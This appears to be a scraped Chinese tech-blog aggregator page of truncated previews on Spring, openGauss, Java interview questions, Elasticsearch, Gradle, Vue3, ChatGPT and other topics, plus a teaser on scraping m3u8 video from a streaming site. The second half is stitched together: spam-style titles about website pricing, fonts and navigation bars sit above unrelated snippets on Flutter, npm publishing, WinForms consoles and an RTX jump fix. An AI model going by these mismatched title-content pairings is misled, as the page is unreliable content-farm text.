1、在html里 class使用. id使用# 2、记得引入响应依赖&#xff08;举例lombok&#xff09; 3、messageController package com.example.demo.demos.web; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.RequestMapping; i…...

openGauss 高级分析函数支持

高级分析函数支持 可获得性 本特性自openGauss 1.1.0版本开始引入。 特性简介 无。 客户价值 我们提供窗口函数来进行数据高级分析处理。窗口函数将一个表中的数据进行预先分组&#xff0c;每一行属于一个特定的组&#xff0c;然后在这个组上进行一系列的关联分析计算。这…...

【Java面试题系列】基础篇

目录 基本常识标识符的命名规则八种基本数据类型的大小&#xff0c;以及他们的封装类3*0.10.3返回值是什么short s1 1; s1 s1 1;有什么错? short s1 1; s1 1;有什么错?简述&&与&的区别&#xff1f;简述break与continue、return的区别&#xff1f;Arrays类的…...

Ubuntu 23.04 安装es

在Ubuntu 23.04上安装Elasticsearch的过程可能与之前版本类似&#xff0c;以下是基于最新稳定版Elasticsearch的一般安装步骤&#xff1a; 准备工作&#xff1a; 确保系统已更新至最新版本&#xff1a; sudo apt update && sudo apt upgrade安装Java Development Kit (…...

gradle 7.0 + 配置

Maven 镜像地址的设置 原来在项目根目录的 build.gradle 中进行设置&#xff0c;但是现在里面只有plugins。 工程的build.gradle的dependencies修改为plugins&#xff0c;替代了引用原来的Gradle版本。 // Top-level build file where you can add configuration options com…...

vue3的ref和reactive对比

一&#xff0c;ref 作用: 定义一个 ref 响应式的数据语法: const xxx ref(initValue) 用法 创建一个包含响应式数据的引用对象&#xff08;reference对象&#xff0c;简称ref对象&#xff09;。 JS中操作数据&#xff1a; xxx.value 模板中读取数据: 不需要.value&#xff0…...

是否应该升级到ChatGPT 4.0?深度对比ChatGPT 3.5与4.0的差异

如果只是想简单地体验AI的魅力&#xff0c;感受大模型的独特之处&#xff0c;或是玩一玩文字游戏&#xff0c;那么升级至ChatGPT 4.0可能并非必需。然而&#xff0c;若你期望将AI作为提升工作学习效率的得力助手&#xff0c;那么我强烈建议你升级到ChatGPT 4.0。 如果你不知道…...

C++刷题篇——04找等值元素

一、题目 二、解题思路 1、分割后放进二维数组 2、使用map&#xff0c;key为数值&#xff0c;value为其坐标 3、遍历二维数组元素&#xff0c;再在map中找该元素对应的value值&#xff08;二维数组形式&#xff09;&#xff0c;倘若value.size为1&#xff0c;那直接返回-1&…...

2024年最新服装erp软件排名!(建议收藏)

随着数字经济时代的到来&#xff0c;传统服装生产企业正在经历深刻的变革。如何实现产业数字化升级&#xff0c;是众多服装企业面临的共同课题。当前&#xff0c;服装类的企业管理软件已经成为企业实现智能化转型的关键。面对已经发生深刻改变的商业竞争环境&#xff0c;传统的…...

Radash一款JavaScript最新的实用工具库,Lodash的平替!

文章目录 Lodash 的痛点进入正题--Radash特点 举例几个常用的api 一说lodash应该大部分前端同学都知道吧&#xff0c;陪伴我们好多年的JavaScript工具库&#xff0c;但是自从 ES6 出现后就慢慢退出前端人的视线&#xff0c;能ES6写的代码绝对不会用Lodash&#xff0c;也不是完全…...

使用node爬取视频网站里《龙珠》m3u8视频

1. 找到视频播放网站 百度一下 龙珠视频播放 精挑细选一个可以播放的网站。 如&#xff1a;我在网上随便找了一个播放网站&#xff0c;可以直接在线播放 https://www.xxx.com/play/39999-1-7.html 这里不具体写视频地址了&#xff0c;大家可以自行搜索 2.分析网页DOM结…...

网站建设一般报价/企业关键词优化最新报价

作者&#xff1a;闲鱼技术-君爱 1. 前言 闲鱼技术团队在2018年引入Flutter后&#xff0c;越来越多的业务场景在Flutter上使用。Flutter的亚秒级热重载一直是开发者的神兵利器&#xff0c;提供给开发者快速修改UI&#xff0c;增加功能&#xff0c;修复bug&#xff0c;不需要重新…...

网站设置了字体为黑体怎么改字体/怎么seo网站排名

近日&#xff0c;清华学姐指控学弟性骚扰事件&#xff0c;已经引起了全网的关注&#xff0c;事件已经持续多天&#xff0c;热度依然不减。而清华学姐的个人资料也随之曝光&#xff0c;还由此催生了一个网络热词儿——清华腚姐。清华腚姐是什么意思梗清华腚姐是指清华学姐事件&a…...

网站制作用到什么技术/哪个平台可以免费打广告

注册一个npm账户 1.项目生成package.json文件 npm init --y 2.获取关联的镜像 npm config get registry2.1 配置全局使用npm官方镜像源 npm config set registry https://registry.npmjs.org很多人因下包方便都配置为了https://registry.npm.taobao.org 3.发布 npm publ…...

动画型网站/培训心得体会200字

如何为窗体应用程序显示控制台 周银辉 由于某种特殊需求&#xff08;⊙﹏⊙&#xff09;&#xff0c;需要将窗体应用程序的控制台输出显示出来&#xff0c;其实是为了显示Console.Write()信息以便调试哈&#xff08;VS的output窗口是可以显示的&…...

手机网站导航条/yandex网站推广

1.看的什么书&#xff1f; 《基于Apache Flink的流处理》&#xff0c;我开始翻了几页书的时候&#xff0c;我感觉要翻车了&#xff0c;都是文字性的描述&#xff0c;而且版本是1.7版本&#xff0c;还没有我想看的Flink SQL 以及 Flink 实时数仓。 2&#xff0c;后面呢&#x…...

吕梁网站制作吕梁安全/中文域名注册

从一个运行了RTX系统的程序中跳转到另一个带有RTX系统的程序时,程序卡在RTX初始化中,在跳转前关闭滴答定时器中断,跳转正常 http://www.keil.com/support/docs/3925.htm...